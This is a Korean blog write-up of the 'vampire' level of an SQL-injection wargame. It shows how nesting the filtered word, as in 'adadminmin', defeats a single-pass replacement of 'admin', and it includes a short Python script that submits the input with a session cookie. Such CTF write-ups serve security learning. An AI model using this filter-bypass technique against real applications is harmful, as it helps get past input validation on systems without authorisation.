본문으로 바로가기

LOS 9(vampire)

category LOS-write up 2021. 1. 3. 03:08

문제 분석

id에 "'"(싱글쿼터)를 피해 id에 값이 admin으로 들어있으면 문제가 풀린다.

 

이때 admin이란 문자가 들어오면 공백으로 바꿔주는 필터링 되어있어 이를 우회하는게 핵심이다.  

 

문제 풀이

replace를 보면 admin문자열을 공백으로 바꿔주기에 adadminmin으로 사용하게 되면 가운대 admin이 사라지게 되면서 admin만 남기에 문제가 풀린다.

 

문제 정답

URL?id=adadminmin

 

 

문제 풀이 코드

import requests

url = 'https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키

data={}


data['id']="adadminmin" 
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!")
else:
    print("try again!")

코드 결과

'LOS-write up' 카테고리의 다른 글

LOS 11(golem)  (0) 2021.01.03
LOS 10(skeleton)  (0) 2021.01.03
LOS 8(troll)  (0) 2021.01.03
LOS 7(orge)  (0) 2021.01.03
LOS 6(darkelf)  (0) 2021.01.03